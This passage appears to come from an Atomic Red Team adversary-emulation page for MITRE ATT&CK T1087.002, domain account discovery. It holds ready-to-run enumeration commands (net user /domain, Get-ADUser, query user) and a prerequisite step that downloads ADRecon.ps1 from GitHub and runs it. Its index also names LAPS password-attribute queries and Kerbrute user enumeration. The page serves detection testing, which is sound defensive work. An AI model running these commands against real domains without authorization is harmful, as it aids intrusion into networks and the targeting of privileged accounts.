# T1087.002 - Account Discovery: Domain Account

## Description from ATT&CK

> Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.
> 
> Commands such as <code>net user /domain</code> and <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039) utility, <code>dscacheutil -q group</code> on macOS, and <code>ldapsearch</code> on Linux can list domain users and groups. [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets including <code>Get-ADUser</code> and <code>Get-ADGroupMember</code> may enumerate members of Active Directory groups.(Citation: CrowdStrike StellarParticle January 2022)

[Source](https://attack.mitre.org/techniques/T1087/002)

## Atomic Tests

- [Atomic Test #1: Enumerate all accounts (Domain)](#atomic-test-1-enumerate-all-accounts-domain)
- [Atomic Test #2: Enumerate all accounts via PowerShell (Domain)](#atomic-test-2-enumerate-all-accounts-via-powershell-domain)
- [Atomic Test #3: Enumerate logged on users via CMD (Domain)](#atomic-test-3-enumerate-logged-on-users-via-cmd-domain)
- [Atomic Test #4: Automated AD Recon (ADRecon)](#atomic-test-4-automated-ad-recon-adrecon)
- [Atomic Test #5: Adfind -Listing password policy](#atomic-test-5-adfind--listing-password-policy)
- [Atomic Test #6: Adfind - Enumerate Active Directory Admins](#atomic-test-6-adfind---enumerate-active-directory-admins)
- [Atomic Test #7: Adfind - Enumerate Active Directory User Objects](#atomic-test-7-adfind---enumerate-active-directory-user-objects)
- [Atomic Test #8: Adfind - Enumerate Active Directory Exchange AD Objects](#atomic-test-8-adfind---enumerate-active-directory-exchange-ad-objects)
- [Atomic Test #9: Enumerate Default Domain Admin Details (Domain)](#atomic-test-9-enumerate-default-domain-admin-details-domain)
- [Atomic Test #10: Enumerate Active Directory for Unconstrained Delegation](#atomic-test-10-enumerate-active-directory-for-unconstrained-delegation)
- [Atomic Test #11: Get-DomainUser with PowerView](#atomic-test-11-get-domainuser-with-powerview)
- [Atomic Test #12: Enumerate Active Directory Users with ADSISearcher](#atomic-test-12-enumerate-active-directory-users-with-adsisearcher)
- [Atomic Test #13: Enumerate Linked Policies In ADSISearcher Discovery](#atomic-test-13-enumerate-linked-policies-in-adsisearcher-discovery)
- [Atomic Test #14: Enumerate Root Domain linked policies Discovery](#atomic-test-14-enumerate-root-domain-linked-policies-discovery)
- [Atomic Test #15: WinPwn - generaldomaininfo](#atomic-test-15-winpwn---generaldomaininfo)
- [Atomic Test #16: Kerbrute - userenum](#atomic-test-16-kerbrute---userenum)
- [Atomic Test #17: Wevtutil - Discover NTLM Users Remote](#atomic-test-17-wevtutil---discover-ntlm-users-remote)
- [Atomic Test #18: Suspicious LAPS Attributes Query with Get-ADComputer all properties](#atomic-test-18-suspicious-laps-attributes-query-with-get-adcomputer-all-properties)
- [Atomic Test #19: Suspicious LAPS Attributes Query with Get-ADComputer ms-Mcs-AdmPwd property](#atomic-test-19-suspicious-laps-attributes-query-with-get-adcomputer-ms-mcs-admpwd-property)
- [Atomic Test #20: Suspicious LAPS Attributes Query with Get-ADComputer all properties and SearchScope](#atomic-test-20-suspicious-laps-attributes-query-with-get-adcomputer-all-properties-and-searchscope)
- [Atomic Test #21: Suspicious LAPS Attributes Query with adfind all properties](#atomic-test-21-suspicious-laps-attributes-query-with-adfind-all-properties)
- [Atomic Test #22: Suspicious LAPS Attributes Query with adfind ms-Mcs-AdmPwd](#atomic-test-22-suspicious-laps-attributes-query-with-adfind-ms-mcs-admpwd)
- [Atomic Test #23: Active Directory Domain Search](#atomic-test-23-active-directory-domain-search)
- [Atomic Test #24: Account Enumeration with LDAPDomainDump](#atomic-test-24-account-enumeration-with-ldapdomaindump)

### Atomic Test #1: Enumerate all accounts (Domain)

Enumerate all accounts
Upon exection, multiple enumeration commands will be run and their output displayed in the PowerShell session

**Supported Platforms:** Windows

**auto_generated_guid:** `6fbc9e68-5ad7-444a-bd11-8bf3136c477e`

#### Attack Commands: Run with `command_prompt`!

```cmd
net user /domain
net group /domain
```

### Atomic Test #2: Enumerate all accounts via PowerShell (Domain)

Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed.

**Supported Platforms:** Windows

**auto_generated_guid:** `8b8a6449-be98-4f42-afd2-dedddc7453b2`

#### Attack Commands: Run with `powershell`!

```powershell
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
```

### Atomic Test #3: Enumerate logged on users via CMD (Domain)

Enumerate logged on users. Upon exeuction, logged on users will be displayed.

**Supported Platforms:** Windows

**auto_generated_guid:** `161dcd85-d014-4f5e-900c-d3eaae82a0f7`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| computer_name | Name of remote system to query | string | %COMPUTERNAME%|

#### Attack Commands: Run with `command_prompt`!

```cmd
query user /SERVER:#{computer_name}
```

### Atomic Test #4: Automated AD Recon (ADRecon)

ADRecon extracts and combines information about an AD environement into a report. Upon execution, an Excel file with all of the data will be generated and its
path will be displayed.

**Supported Platforms:** Windows

**auto_generated_guid:** `95018438-454a-468c-a0fa-59c800149b59`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| adrecon_path | Path of ADRecon.ps1 file | path | PathToAtomicsFolder&#92;..&#92;ExternalPayloads&#92;ADRecon.ps1|

#### Attack Commands: Run with `powershell`!

```powershell
Invoke-Expression "#{adrecon_path}"
```

#### Cleanup Commands

```powershell
Get-ChildItem "PathToAtomicsFolder\..\ExternalPayloads" -Recurse -Force | Where{$_.Name -Match "^ADRecon-Report-"} | Remove-Item -Force -Recurse
```

#### Dependencies: Run with `powershell`!

##### Description: ADRecon must exist on disk at specified location (#{adrecon_path})

###### Check Prereq Commands

```powershell
if (Test-Path "#{adrecon_path}") {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/sense-of-security/ADRecon/38e4abae3e26d0fa87281c1d0c65cabd4d3c6ebd/ADRecon.ps1" -OutFile "#{adrecon_path}"
```

### Atomic Test #5: Adfind -Listing password policy

Adfind tool can be used for reconnaissance in an Active directory environment. The example chosen illustrates adfind used to query the local password policy.
reference- http://www.joeware.net/freetools/to